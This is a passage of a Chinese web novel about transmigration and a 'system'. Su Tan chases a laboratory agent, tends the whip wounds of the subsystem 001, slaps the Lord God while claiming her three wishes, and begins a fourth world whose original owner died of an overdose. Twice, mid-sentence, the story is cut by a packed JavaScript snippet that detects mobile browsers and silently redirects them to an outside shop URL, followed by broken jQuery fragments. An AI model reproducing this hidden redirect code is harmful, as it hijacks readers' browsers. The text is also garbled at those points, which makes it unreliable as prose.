不用查了,为时已晚。皇帝昨日下令,抄封我们全家,并且关停所有产业。相信过不了几天就会有兵官来了……难道原主一家的结局仍然不会改变吗?] …… [2061年1月1日 今天是元月一日,新的一年已经来了。各家各户都开始张贴桃符。我们搬回了原主祖父母的老宅,这段时间,我们一直在谋求新的出路,哪怕环境再艰苦,日子总归是要继续往下过的。 对了,一个时辰之后,等早市出摊,我得去给原主的父母买双厚棉鞋。他们待我很好,人要知恩图报。 说起来,我也有些想家里的老母亲和父亲了,唉。] [2061年3月14日 天气渐渐回暖,万物开始复苏。老宅地处偏僻,土质却意外适合耕种,也许从种地开始是个不错的选择。毕竟,老祖宗都是这么过来的。] 苏昙读到这里,本以为她看的是爽文,结果最后变成了种田文。 谷晨在第三个里世界又待了三年多,直到还清了原主家里的债务,才算完成任务,终于离开。 原先的日记本,渐渐变成了周记本,又变成月记本。 过完前三个里世界,谷晨回到虚空之境,向主神要了祂一开始便答应的三个愿望。 他太想念家里父母,便问主神有什么办法能让他和他们见上一面。主神答应谷晨,会让他的父母入他梦境。梦里相见,是祂能尽到的最大帮助。 谷晨答应了。 第二个愿望,谷晨希望能在虚空之境多待几天。他过完前三个世界,实在太累了,想停下来稍微喘口气。主神同意了,给了他整整一个星期的休息时间。但祂有一个要求,谷晨的活动范围仅限于虚空之境的大厅。 谷晨也答应了。 第三个愿望,谷晨问虚空之近有没有助眠类药物。他最近休息得不怎么好,睡眠很浅,总是容易惊醒。 主神没说什么,给谷晨找来了正规的安眠药,耐心地告诉他该怎么用。 谷晨把药接下了,决定当晚就试试,希望能一口气睡到天亮。 苏昙读到这,眉头皱了起来。 谷晨看起来怎么这么信任主神?他难道就不觉得每个里世界出现的意外很巧合吗?偏偏都在他一帆风顺,就要完成任务的时候。 这个主神,还真是一副完美的伪装。 交际舞会声音嘈杂——跳舞的咚咚声,鞋子踩在草丛上的咯吱声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645453|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扎堆的兽人讲闲话的嘁嘁喳喳声……这时,熟悉的鸟叫在苏昙耳边响起,一个披着黑色斗篷的小男孩出现,坐到她身边。 “小鸦?你怎么在这?” 苏昙把眼睛从日记本挪到小鸦身上。 “我一直跟在你身边,是姐姐你自己想事情出神才没有察觉到我。”小鸦思考片刻,问道,“是在想那个时不时给你送食物的影子吗?” “什么影子……”苏昙还在思考谷晨的记录,过了一遍嘴才猛地反应过来,音量都提高了不少,“……影子?!” 苏昙觉得,她今晚知道的信息,真是一个比一个不得了。 “对啊,我还隐约能看出来,那是个男人的身形。”小鸦自顾自回忆道,“姐姐,他是什么兽人啊,为什么我每次看他都模模糊糊的?” “他……他……”苏昙嘴张了又张,根本瞎编不出来一点。她连001到底归属于什么范畴都不知道,眼下说成人类不合适,说成动物又很奇怪。 苏昙含糊道:“他是什么兽人不重要。不过小鸦你,确定看得真切吗?” “其实,我也不知道看到是不是影子。因为我们鸟类的眼睛构造和其他兽人不太一样,所以能看得到的色彩比其他兽人要多一些。” 原来如此。苏昙暗自感叹又学到了。 “姐姐,那个‘影子’是不是喜欢你呀?”小鸦话头一转,语出惊人。 “——咳、咳!”苏昙差点被自己的口水呛到,“你说什么?!” 001喜欢她? 怎么可能? 怎么可能? “难道不是吗?”小鸦仔细地描述那天下午他看到的情况,“回月影族前的那个中午,你在房子里睡着了,结果那个影子一直盯着你的脸看,可入迷了,我叫了好几声他才回过神。” 似是怕苏昙不信,他又补充道:“我发誓我没有瞎说,我爸爸就总是这样看着我妈妈。” 苏昙结巴道:“那、那也许是我脸上沾上灰了……” 小鸦:“不可能!我那时也观察你的脸了,他明明就是被你的美色吸引到了!” 美色?那看来吸引001的不是她,是原主维希的美貌。 苏昙心里清楚,自己的长相最多算素净,跟这几个里世界的原主的模样比相差甚远。倒不是她有多羡慕高颜值,只是一想到001每天对着不属于她的模样聊天相处,心里突然一阵不是滋味。 苏昙弹了小鸦一个脑瓜蹦:“你呀你,小小年纪,怎么满嘴跑火车。谁不喜欢长得好看的人?看到了心情都会舒畅很多啊。” 在这方面,她压根没有立场揣度001的想法。毕竟她时不时看到长得好看的女性男性也会眼前一亮,比如苏雨昙、何瑚、姜伊湛、莱斯……还有001。 爱美之心人皆有之,她十分能理解001盯着维希的脸出神的行为。 ——就是有一点点在意罢了。 但也只有那么一点点。 苏昙揉了揉涨的酸涩的胸口,深深吸进新鲜湿润的空气,冲散心头涌起的异样感受。 她没了继续看日记本的心情,索性开始数来来往往的兽人,和小鸦一起等待莱萩。 这些来往的狼兽人大多是陌生的面庞,来自森林哪里的都有。有些来凑热闹的年纪尚小的兽人化成人形不熟练,一不小心就会露出毛绒绒的狼尾巴,显得莫名憨傻。 当苏昙数到第一百三十三只的时候,她的视线落到一个站在十几米远的大树阴影里的人身上。 多亏原主属于狼的动态视力,苏昙看到那人穿着一身深蓝色连体工装服,头上戴着黑色鸭舌帽,无奈夜色渐深,距离有些远,她看不清帽子上的白色印花字体是什么。 苏昙把日记本放回挎包,站起来又往前走近几步,眼睛依旧探究地盯着帽子上印的几个字。 帽子上的字越来越清晰——志……航…… 志航实验室?! 那个建在地牢里的实验室,用兽人来做实验的实验室!时间过去太久,她都要忘记还有这么一个地方! 站在阴影里的男人似乎察觉到有人在看他,猛地扭头,对上苏昙的目光。 蒙着白雾的真相浮潜在苏昙脑海,和她的心跳一样,就要呼之欲出。她加快脚步,朝那人的方向跑了起来。 男人自知被发现,立刻掉头,迅速往远离森林中心的地方跑走。 苏昙拍了一把跟在身边的小鸦,高声道:“赶快去找莱斯,告诉他一个叫志航的实验室有问题!” 她化成狼形,紧紧追在男人身后。 志航实验室的人为什么会在这?难道他们有观察的兽人对象在这里?还是说,他们在寻找新的兽人用来实验? 苏昙那日在地牢匆匆一瞥房间的资料,还以为这实验早就关停了,没想到现在竟然还在! 眼看差一点就要追上,一阵熟悉的眩晕感朝她袭来。 ……完了。 主神到底在抽什么风,早不抽晚不抽,非要在这个节骨眼放她离开?她和莱萩的记忆问题到底和祂有没有关系?! 苏昙还有一堆疑问没有解开,不甘心地昏了过去。 66. 虚空之境(一) 苏昙睁开眼睛的时候,看到虚空之境熟悉的米黄色天花板,稳住仍有些发晕的脑袋,从001的躺椅上坐起来。 131恰好走进房间,把她的挎包放到001桌上,热心地给她倒了一杯水:“醒了?” 听到131的声音,苏昙彻底清醒过来,把玻璃杯放到一边:“他在哪?” “他……” 131为难地挠挠头。 他才答应过001,替他保密受伤的事情。 苏昙声音冷下来:“他怎么了?” “他……”131眼睛一闭,阻断对面女人压迫的视线,“我不能告诉你!” “001交代你的?” 131疯狂摇头,生怕对方不知道就是001交代他的。 “你俩还真不愧是好兄弟,连说谎技术都一样蹩脚。”苏昙没心情和他玩善意的谎言,再次问道,“001在哪?你不方便告诉我,我直接去问他。” 131败下阵来,嘴皮子上下一碰一出溜,快速地说:“出门径直向前穿过大厅,右手边是员工宿舍,001的宿舍名字和他同名,他就在宿舍里。” 好兄弟,哥们就当为你的终身幸福献身了,你可千万不要怪我啊。要怪就怪女人太可怕,他实在遭不住! 131心里如是说,眼睛毕恭毕敬目送苏昙离开。 苏昙按照他说的方向,果然看到挂着“001”门牌的房间。 001坐在床边,刚把衬衣纽扣解开,准备给胸前伤口换药,听到门把手转动的声音,以为131又落下什么东西。 他一边低头拆下纱布敷料,一边忍痛压低声音问道:“又落下东西了?” “……” 苏昙猝不及防看到他满身斑驳伤痕,感觉五脏六腑都被狠狠揪住,一阵一阵地抽疼,连说出的话也带上微微颤意:“是啊,我落下个人。” 他这个没心没肺的子系统,还真是最知道怎么让她生气。 “苏昙?!” 001猛地抬头,看到三天前,那个在忏心间处处撩拨他的梦里人就站在自己眼前,他下意识拢住衣服,撑住床边往墙角里退。 慌乱中,他忘记手指的夹伤还没好,一使劲又是钻心的痛,手掌失力倒在床上。 苏昙走近两步,看清他眼底的恐慌:“你在怕我?为什么突然怕我?” 001别过头:“身上太难看,不想让你看到……” “在哪弄的伤?” “都过去了。” “你这像是过去的样子?”苏昙继续往前走,威胁道,“你不说,我就亲自扒开,好好看看。” “……别过来!”001把衬衫拢得更紧,哑声说道,“主神发现401和我私下联系,要罚他。但事情都是因我而起,所以我替他去了……就在忏心间里。” 忏心间?听着就不是个什么好地方。 苏昙停住脚,坐到离床一米远的椅子上,等001情绪缓和下来。 直到他脸色没那么苍白,苏昙又缓声问道:“你是什么时候进去的?” “两星期前。” 那不就是头狼大选的那天? 她目光扫过001全身,最后落到他青一块紫一块的手上,心里顿时痛得直滴血。 这么好看修长的手指,主神是眼瞎了罚得这么狠,还是心被剜了下手这么绝?!还整整把人折磨十几天,简直就是变态!大反派! 苏昙没意识到,她此刻周身的气压低得吓人。 001从额前细碎的发丝间看到她盛满怒意的双眸,低声道:“对不起。” “你对不起什么?” “……我答应过你,要照顾好自己。”001苦笑,“可是我不仅没做到,还把自己弄得这么狼狈,你一定很失望很生气吧。” 苏昙这才发现001理解错了她的意思,顺水推舟,将错就错道:“是。我很生气,非常生气。” 001呼吸一滞,手指微蜷。 “为什么连招呼也不打就突然失踪?为什么都已经那么疼了还要强装坚强?为什么对我是这个反应?” 为什么……为什么连我也会感到一阵心痛。苏昙被心里莫名却浓郁的情绪搅得快透不过气。 “我不是有意要隐瞒你!那时情况紧急,根本来不及想那么多,一着急……就忘记把我的手环交给131了。抱歉……我下次不会这样了。” 苏昙了解清楚事情原委,对他仅有的一点点生气彻底消失,只剩下她自己处理不了的奇怪情绪,闷声道:“你不用道歉,这件事不是你的错。” 001沉默几秒,而后淡淡自嘲:“你是不是也觉得,是我天生的保护欲害了我?你是不是,也很讨厌这该死的保护欲?” “也?难道你这么想你自己?” “不是吗?如果没有想要保护人的冲动,我的心肠就能再硬一些,就能不让你那么失望,就能不会感受到那些我连名字都叫不上来的情绪,就能收回对之前所有宿主的善意,就能保护好自己的真心,就能少些被辜负,就能——” “001,你很讨厌你自己吗?” “?”001起伏的情绪被苏昙打断,注意到自己刚才的失态,语速缓下来,“我……也许是吧。” 苏昙注视着他,反问:“所以,你认为,你选择帮401受罚是因为你的保护欲?如果你没替他进忏心间,你就不会受伤,我就不会失望?还有之前你几次护我安全,也是因为你的保护欲?做些事其实违背了你的本心,你并不想这么做。我说得对吗?” 401和她怎么会一样?001思绪很乱,觉得她说的对又不对,不知道该怎么回答。 “当局者迷,旁观者清。如果你想不清楚,那我来回答你。”苏昙拉着凳子往前挪了一步,“首先,我好像从没说过对你失望吧?其次,你也说了,听到401被主神抓走,甚至没来得及跟我打招呼,便替他进了忏心间。那时,你有想到保护欲的事情吗?你救了我那么多次,难道每一次救我,还要先再在本意和违心之间挣扎抉择吗?做完之后,还要再后悔个把小时吗?” “……并不。” “那不就行了。人在危急关头做出的决定都是下意识的,而你下意识的决定让我看到,你本身就是一个很强大很善良的人。任谁的真心和善意被辜负,都不会感觉好受。你不愿意把怨气发泄到辜负你的人身上,就开始自己内耗。但凡换个思路呢,如果没有保护欲这个标签贴在你身上,你还会这么讨厌自己吗?” “我……人?” 001脑回路好似宕机,苏昙洋洋洒洒说完一大段,他才读取到第二句话。 苏昙耐心给他解释:“你能说会跳,能哭会笑,能吃会睡觉,不是人是什么——不对!我还没见过你哭呢,你会哭吗?应该是会的吧。” 她眼睛一动,竟还流露出隐隐期待。 001瞬间回忆起在忏心间里,那个陌生的梦里人对他做的事,耳廓腾得一下红透。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650347|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏昙看001沉默,突然想到他曾经告诉过她,很想获得人类身份。可他都已经工作一百多年,还在虚空之境给主神做牛做马,可见愿望实现有多难! 不好不好,在人家雷区蹦迪了。 苏昙轻咳一声,又语气轻松地补充道:“其实我觉得吧,只要三观正,品德好,是不是人类又有什么区别,对吧!” 001看到她脸上熟悉的笑容,低落的心情缓解许多,回道:“嗯。” 但他仍然觉得有区别的。 以前他想获得人类身份,是因为自己情感缺失,性格寡淡,想去体验不一样的生活;不过现在,他想成为真正的人类,去到她的世界,走进有她的未来。 等他回过神,眼前落下一片阴影。不知什么时候,苏昙已经走到床边。 “你要做什么?”001浑身紧张,喉结微动。 “当然是,给你上药啊。”苏昙晃晃手里的药瓶和纱布,示意他坐好,“你的手伤成那样,恐怕连棉签都捏不住,一个人怎么处理?” “不用了,我自己可以……” “别乱动,弄疼你了我可不管。” 苏昙拧开碘伏瓶盖,把棉签沾湿。她按住001的肩膀,想固定住他的身体,却听见他忍不住轻嘶。 “抱歉啊!我不知道你肩上还有伤,我轻一点。”苏昙的动作更加轻缓,慢慢把他拢住的衬衫撩开。 交错粗.深的鞭痕袒露在她面前,绽开的皮肤夹杂新生的血肉,道道红色触目惊心,有些开始愈合,有些仍在渗血。 苏昙太过震惊失了神,仿佛感觉到自己身上也开始疼得厉害。她抬起指尖,轻轻落在不多的完好的皮肤上,一点点向下抚摸,从锁骨处,到胸口,再到腹部,接着向下,再到…… 001感受到皮肤触碰到一点冰凉,抚慰了伤口周围的撕裂痛。只是那指尖到哪,哪里的皮肤便变得滚烫颤栗。 他觉察着指尖一路向下,马上就要触到更加敏感的地方,蓦地出声提醒:“疼。” 苏昙抬眸对视上他尴尬目光,立刻收回指尖,也压下心里的怜惜,问道:“很疼吗?” “……还好,能忍受。” “那我开始了。” 苏昙小心把渗血的伤口擦净,重新涂上碘伏,按上纱布。 001身上伤口太多,前后都有,做完这些,已经过去大半小时,她的额头冒出薄薄热汗。 “麻烦你了,谢谢。”001看她帮自己把扣子扣好,给她递来几张纸巾。 苏昙边擦汗边嘱咐:“切记,伤口不能碰水,动作不要太大,饮食最好清淡,时刻注意身体的恢复情况,如果需要帮助就找我——或者你的好兄弟,131。” 001:“我们子系统的体质和人类不太一样,伤口恢复得很快,你……不用太担心。” “谁担心了?!”苏昙高声反驳,立刻站起来,转身把垃圾扔进垃圾桶,凶巴巴道,“还不是因为你太笨,连怎么照顾自己都不知道!” “谢谢你。”001眼神温柔,注视着那个有些消瘦却十分坚强的背影。 “你已经说过了……不用和我那么客气。” “我知道。但就是想再谢一次。” “……” 苏昙揉揉耳朵,怎么她以前没发现,这男人的声音也这么撩人,微哑的磨砂质感包裹着厚实的内芯,短促的尾音捎带出轻飘的气声,好似一把软钩,把她的脸勾得微红。 真是要命了。 67. 虚空之境(二) 许是房间里的氛围逐渐微妙,一分钟短暂沉默过后,001开口,搅动了静默的空气:“所以,你是怎么回来的?” 旖旎的气氛瞬间烟消云散。 苏昙重新坐回椅子上,神情认真:“头狼选举结束之后有一个交际舞会,我和莱斯在舞会上找到最开始穿到这个世界追杀原主的那几只狼。询问之后,我才知道,原主维希根本没有家人!她会被追杀,单纯是因为一直偷他们的食物。” 001若有所思:“也就是说,我从一开始读取到的她的记忆就是错的。” “不止这些。在那之后,我又在一棵树后看到了志航实验室的人。志航实验室,还记得吗?就是地牢坍塌,你救我的地方。那曾经是他们专门做研究,关兽人的实验室。” 苏昙把在资料上看到的信息全部告诉了他。 001:“可志航实验室的人怎么会出现在交际舞会上?” “最大的可能,就是这些参加交际舞会的兽人里面有他们的实验对象——不管是已经实验过的,还是准备实验的。” 001继续顺着苏昙的思路往下说:“那我们再反过来推测莱萩和维希的记忆问题,便可以推出三种猜测。第一种,她们都受到过什么创伤,导致记忆出现问题。但两人同时受创伤的可能太小了,大概率不会有这么巧合的事。” 苏昙:“而第二种,是主神在里世界搞的小动作。可根据前两个世界发生在你身上的意外,如果主神想要给你使绊子,肯定是一击毙命的危险。如果只是让维希和莱萩记忆出现问题,能对你造成什么伤害?” “如果排除前两个,那就剩下最后一种可能……” “她们两个都是志航实验室的兽人!” 001看向苏昙,和她异口同声道。 苏昙脑海里蒙着雾的真相变得无比清晰,她突然想起莱萩曾对她说过的一句话,“维希姐姐,我们是不是在哪里见过?”。 如果莱萩和维希真的是实验室用来实验的兽人,那她们见过面也不足为奇。 志航实验室私自用兽人做实验,可是比盗猎者还要令人发指的卑鄙行径! 苏昙想到主神在她有所突破和发现的时候,无情把她叫回虚空之境,对祂的愤恨之情顿时又加几分。 001想了想,道:“还有一件事情。你原本在第三个里世界要经历的意外是火灾,结果变成了地牢坍塌。这样来看,主神有改变意外的能力。” 苏昙立刻领悟:“你的意思是,我们接下来要做的,不是千方百计阻止意外的发生,而是要从源头上着手,找到祂来到里世界的通道,不让祂有搞小动作的机会?” “没错。”001和她会心而视,“你好不容易平安度过三个里世界,不如先好好想想有没有什么想要的,可以向祂提三个愿望。” 这话倒是提醒了苏昙。 她说道:“对了,我看谷晨在日记本里写的,他过完前三个里世界,向主神许愿望。但仔细品便会发现,这三个愿望,看似是主神答应了他,仔细品便会发现,谷晨一直都在那个被动接受的位置。” “你们主神,还真是个控制欲过剩的变态呢。”苏昙翻了个白眼,“我可要仔细思考我那三个愿望——想知道祂的真面目,我得先见到祂、本人再说。” “好。不过主神还不知道我受伤的事,你可以找131,让他带你去见祂。” 苏昙正要答应,又想到什么,摇头道:“不行。你现在是主神的重点关注对象,131和你关系最近,他总是在主神跟前露面不太好。主神不就在那个密门那?你忘了,我之前去过,自己一个人可以的。” “那你一定注意安全,千万不要和祂起冲突。如果一个人应付不过来,就在识海喊我,手环会提醒我的。” “知道了,你好啰嗦。”苏昙走到门前,确认道,“你确定主神没有亲眼看见你进虚空之境?” “没有。”001有些犹豫,还是如实说道,“我把自己解离成炁,肉眼看不见。应该是祂的触手察觉到了我的气息,才引起了怀疑。” 苏昙同样表示怀疑:“你这个什么炁,真有这么厉害?” 001颔首:“目前我所了解,只有我一个子系统能做到。” “噢,听起来确实厉害。”苏昙敷衍夸赞,又问道,“那主神知道我们的关系吗?” “我们、什么关系?” “当然是朋友关系啊!”她笑道,“咱俩怎么说也一起过了三个世界,总不能连朋友都称不上吧?” 001心跳渐渐平复,反生出淡淡失落。 他抿直唇角,很快将这股失落情绪掩盖住:“放心,祂不知道。” 不知苏昙在琢磨什么,双眼明亮:“正好,这样我就不用避着祂了。你好好休息,我实现完三个愿望就回来看你。” “……” 001望着苏昙离开,竟生出一种她要去惩恶扬善的错觉。 * 幽暗空荡的长廊回响着“踏踏”的脚步声,苏昙很快来到密门前。猩红的触手攀附在古铜色密门,蠕动的频率巧合地和她呼吸的节奏重叠。 “你就是苏昙?” 密门后传出一道声音,是个男性的音色。这声音听起来仿佛沉睡了上百年,低沉悠远,不怒自威。 苏昙微微皱眉——怎么有点耳熟?就是想不起来在哪里听过了。 主神见她默不作声,再次问道:“怎么不说话?” “刚刚在我的想三个愿望,没听到。”苏昙把注意力拉回到眼前的触手,“你应该……不会生气吧?” “当然不会。”主神不甚介意地摆摆触手,“既然来了,不妨把你想要的告诉我,我来为你实现——你应该知道不能许和回到现实世界有关的。” “我都清楚。第一个愿望,我早就想好了。” “什么愿望?” “我想见你。” 主神被她前不着调后不搭气的愿望问得愣住:“……为什么?” 以往的宿主来找祂,不是要钱就是要物,她的愿望竟然如此出乎意料,真和001说得那样,此女言行跳脱,让祂有些措手不及。 苏昙流露出崇拜之情:“当然是因为敬你啊!谁会不对强者感兴趣?一想到整个虚空之境都是你的,我就好激动,好兴奋,我好想亲眼看看你住的地方是什么样子,好想看看这么厉害的人究竟长什么样子!” 说完,苏昙心里为自己浮夸的演技作呕,脸上依旧笑靥如花。 主神:“……” 祂怎么可能会轻易相信她说的话。 能过完前三个里世界,还能在他“布置”的意外中活下来的宿主肯定不是什么所谓弱者。 但她来到虚空之境,就是一个手无缚鸡之力的弱女子。苏昙提的这个要求,的确对祂造不成什么威胁,且看看她究竟想做什么。 不过,话虽这么说,该有的检查依旧不能少。 “想见我可以,你得先接受触手的搜身。毕竟海水难量,人心难测,理解一下。” 苏昙愉快地伸展双臂:“没问题!” 她全身上下连个兜都没有,怎么可能藏东西?这个变态,对旁人倒是警惕敏感得很,是怕受到报复吗? 一番检查过后,触手朝密门方向示意,密门“轰”地应声而开。 内里的布局和虚空之境的大厅很像,自外向里立着两排雕刻有浮纹的环形金柱。金柱正中间的位置有一座高台,高台上坐着一个人,离远了看就像个影子,想来应该就是主神。祂身旁还竖立着两只触手。 苏昙视线越过黑影,落在金柱后面的扇面墙。墙壁的弧度和嵌在其中的一颗巨大的球体严丝合缝,不多不少地卡进凹陷的部分。 那球体通体透明,周围散发浅淡柔和的彩虹色,包裹着球体里突兀而充盈的黑色雾气,夹杂若隐若现的一缕白,冲撞着球壁,达到一种诡异微妙的平衡。 球体的光辉远不及两排金碧辉煌的柱子夺目,却冲散空间里眩目浓烈的色调,牢牢吸引住她的目光。 “这是什么?”她还从没见过这么摄人心魄的东西。 高台上的影子答道:“混沌珠。” “那里面的装的什么东西啊?看着凶得很。” “征凶和来硕。”高台上的影子没有多说,而是看向苏昙,“不是说想见我,怎么被一个平平无奇的珠子迷得走不动道?” 你管这叫平平无奇?苏昙正眼打量说话的主神,竟有种重逢故人的熟悉感……还是某位已逝的故人。 于是,她问出了那句老套的台词:“刚才看见你,感觉很眼熟。我们……是不是在哪里见过?” 主神动作一顿:“当然没有。” 那就是有了。 苏昙脑海中莲的身形和眼前坐在高台上的影子重叠,越瞧越觉得像。 她耸耸肩:“哦,可能是我太累,记错了。” “既然是来见我,就坐下来好好看。”主神甚至贴心地让触手在祂身边放置一把凳子,“你上来。” 苏昙走上高台,在凳子上安稳坐好。 她好奇道:“你生来就这副模样吗?为什么001那些子系统都有人形,而你却没有?你是人吗?” “……你还真是会问。” 上来就往祂心窝子里戳。是祂不想吗?是祂不能! 苏昙摆手:“如果你不想说就算了,大家心里都有难言之隐,我懂。” 你懂个屁。主神提醒她道:“这地方也看了,我的模样你也瞧了,你的第二个愿望是什么?” “是这样。我听001说,能通过前两个世界的宿主少之又少,而我一下子过了三个。不知道是我太厉害,还是他们太菜?你能给我讲讲,那些没能离开的宿主都是什么原因失败的吗?” “你很想知道?” “非常。” “行吧,告诉你也不是不可以。”主神开始清嗓,“但要算作你的第二个愿望。” 苏昙点头同意。 主神娓娓道来:“也许你不知道,人心有五毒,分别叫贪、嗔、痴、慢、疑。” “世界上,谁没有执念和心魔?若真的没有执念,又何来裂缝之隙那么多苦苦等待重生的原主?只是连他们都探寻不到自己的执念是什么罢了。五毒的其中之一,是贪念。贪欲之心使人执着,总想着破除欲望,走向自在,殊不知人心的欲望是无穷无尽的,或为物欲、或为权欲、或为情.欲。越是得不到就越想要,最后落得一个物极必反的狼狈下场。” “嗔念产生的源头则为为冲突。有冲突就有情绪,情绪扰人心智,使人失控。有些人是因为对现状的不满,有些对过去抱怨,还有些焦虑未来……小的不满堆积成大的怨恨,导致嗔念蔽目,每天都活在怒气里。” “至于痴念,在我看来,就是人不愿意思考,长久以往只会依赖惯有的思维模式,反馈给大脑,自然也是有偏差的认知。哪知你不会偏偏就是局中人,抑或是理中客?愚昧的人往往意识不到自己的愚笨,聪明的人又会因为自己的小聪明感到沾沾自喜,活成了另一个愚蠢的笨蛋!” 主神越说越激动,喷出的唾沫星子喷了苏昙一脸。 “……” 苏昙讪笑擦掉,继续耐着性子听祂讲。可惜她压根不知道这几个字和宿主失败的原因有什么关系,听得她快睡着了。 主神缓了缓节奏:“慢之一字则是人心最隐晦的毒瘤。眼高于顶而名不副实,有点钱就觉得了不起,有点权就觉得万人之上,结果剖开心一看,嚯!原来是个既自卑又自傲的家伙!这样矛盾的心理怎么可能不扭 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“你说错了。这些人所经历的意外,都是命里逃不过躲不掉的,归根结底还是因为自身‘无能’。只是他们愚昧,看不清命里的‘果报’,也解不了人心五毒,自然看不清命运。” “那你呢?能看得清自己吗?”苏昙仍然感到疑惑,“你觉得你身处哪一个位置?是和我们一样的渺小的人类,还是神秘强大的掌控者?” 主神顺着她的话思考了进去,答道:“众生皆一样,我也不例外。虽然我看不清自己,但我明白我生来的责任和使命——就是保证维持虚空之境的稳定。我所做的一切,都是为了你们能够顺利完成任务,为了使你们的生活重回正轨!” 苏昙嘴角抽了几抽,如果不是祂把她拽离正轨,现在自己又怎么会拼命地完成任务回去,祂倒是先占上理了!真叫人越想越气! 还有,这主神不愧是活了几百年的老油条,说话滴水不漏,她总感觉哪里有些奇怪却找不出漏洞,就像她死活找不出代码里的bug,卡得人浑身难受。 “那你真的好辛苦,好伟大啊。”苏昙咋舌。 主神还沉浸在自己千条万缕的思绪中,露出感慨万千的神情。 就在这时,苏昙慢慢靠近祂的脸,带着探究的目光迟疑道:“嘶,你脸上……好像有东西。” 主神:“……?” “妈呀,是个虫子!” 啪。 清脆的一声响,主神被掴得别过头。就连高台两侧的触手都被扇得向后一倒。 祂不可置信地转回来,空荡荡的眼眶看起来呆滞又吓人——显然是被这一巴掌扇得没缓过神。 苏昙仍未起身,看了一眼手心,适应了一下“黑.人”的手感,重新把头探到主神面前:“找到了,在这!” 啪。 又是一声清脆的巴掌。 主神的头被掴到另一边。 苏昙满意地甩甩手,退离祂两米开外,偷偷搓了搓还在发麻的手心。祂把001伤得遍体鳞伤一巴掌,又在三个里世界设计意外害她,再加一巴掌。 恶气一出,真是爽啊。 主神终于反应过来,若是祂的脸是正常肤色,估计现在应该早就气得红温了。啊不,是被扇得红温。 祂朝无辜的“罪魁祸首”发出低沉怒吼:“你好大的胆子!” “明明是你脸上有虫,我又不是故意的。” “有虫你可以告诉我!” 苏昙小声狡辩:“可是,我告诉了你也看不到啊。还不是需要我帮你。” “简直是强词夺理!” 主神被她的歪门邪理绕晕,懒得再陪她玩什么你问我答的游戏,干脆地动手。 守在高台两边的晕头转向的触手二话不说,把她卷到半空。 “等一下!”苏昙在窒息前喊道,“我还有第三个愿望没说呢!” 主神如鲠在喉,用力的触手不情愿地松劲。 苏昙:“我承认,打你的时候是带了那么点私人恩怨。但我没错啊!本来我进到这个破系统就是因你而起,每天过得提心吊胆,我心里不爽打你两巴掌怎么了?你又不会掉块肉,我也不会少张皮。你可是主神,肯定不会和我这种微不足道的人类一般计较吧?” 合着好话赖话都让她给说完了。 “如果我就是偏要计较呢?!” 原本在第一个世界就要死的人,竟然在祂面前蹦跶到现在,祂早就忍不下去了! 缠绕在苏昙腰间的触手骤然加力。 “我的第三个愿望……希望你别杀死我。”苏昙一点点吐尽肺里的空气,“……在你眼里,我就是个贪生怕死的蝼蚁,这条小命分毫不值。既然如此……多一个我又能怎么样?” 主神:“不杀你?简直是做梦——” 祂似是想到什么,登时没了声。缠在苏昙腰间的触手不再加力,但也没减力,就这样卷着苏昙挂在半空。 不知过了多久,祂终于松开触手,把苏昙甩到地上,说道:“行啊,我可以答应你,留你一命,不杀你。” 苏昙揉揉摔得生疼的屁股,心觉主神竟然这么轻易就放过了自己?她还准备了一堆说辞没有发挥,想来还有点可惜呢。 主神:“你的三个愿望我都已经实现,现在走吧。” 高台两侧的触手毫不拖泥带水地把她推出大厅。 砰的一声,密门在苏昙背后关上,紧得透不出一丝光亮和风声,门里门外完全仿佛就是两个截然不同的世界。 她顺着原路回到001的房间,刚推开门,脑袋里再次袭来一股熟悉的眩晕。 “不是,祂这么着急把我送走么……” 晕倒在地之前,一个温暖结实的怀抱稳稳接住了她。 那人的身上,还残留着药水的淡淡余味。 68. 世界四(1) 苏昙只感觉被001稳稳接住,便失去了意识。叫醒她的,是一阵强烈的反胃感。 “——唔!” 她直接弹射起身,紧紧捂住嘴,瞄准方向,飞奔到房间里的厕所。 “呕——咳咳咳!呕……” 这第四个里世界的原主究竟吃了什么?!苏昙抱着马桶吐了整整二十分钟,吐到只剩下胆汁一点一点地涌到喉间。 她脱力地坐在地上,抽纸擦掉眼睛生理性流出的泪水,闭上眼平复胃里的惊涛骇浪,慢慢稳住天旋地转的脑袋。 “喝点水吧,会好受些。” 001走到苏昙身边,给她递过来一杯温开水。 苏昙抬手遮住嘴巴,瓮声道:“……谢谢。” 她先用水漱了嘴巴,然后猛灌几口到胃里,终于感觉缓过神。 苏昙对001有气无力道:“胳膊借我用用。” 001:“?” 他虽不明白但照做,把手臂伸到她面前。 苏昙撑着他的手臂没有受伤的地方,借力站起来,脚步虚浮地回到原主房间,一屁股坐在床上,喃喃道:“天啊,原主到底吃了什么东西……” “是安眠药。原主夏汀舟是自.杀,因为服用了过量的精神类药物。” “什么?!” 001向苏昙大致解释这个世界的背景: 夏汀舟,出生在富二代家庭,是家里的大小姐。父亲叫夏恒,母亲叫陈玫,有一个十二岁的弟弟,叫夏迁舟,家里还有一个保姆,叫孙姨。 夏恒从商,十天半个月都回不了一趟家;陈玫成天泡在城里的富婆圈,不是去参加party就是去美容院保养,对自己的女儿和儿子毫不上心;夏迁舟和他姐姐的关系一直都不好,准确来说,是他单方面瞧不上这个寡言少语的还百般讨好他的窝囊姐姐。 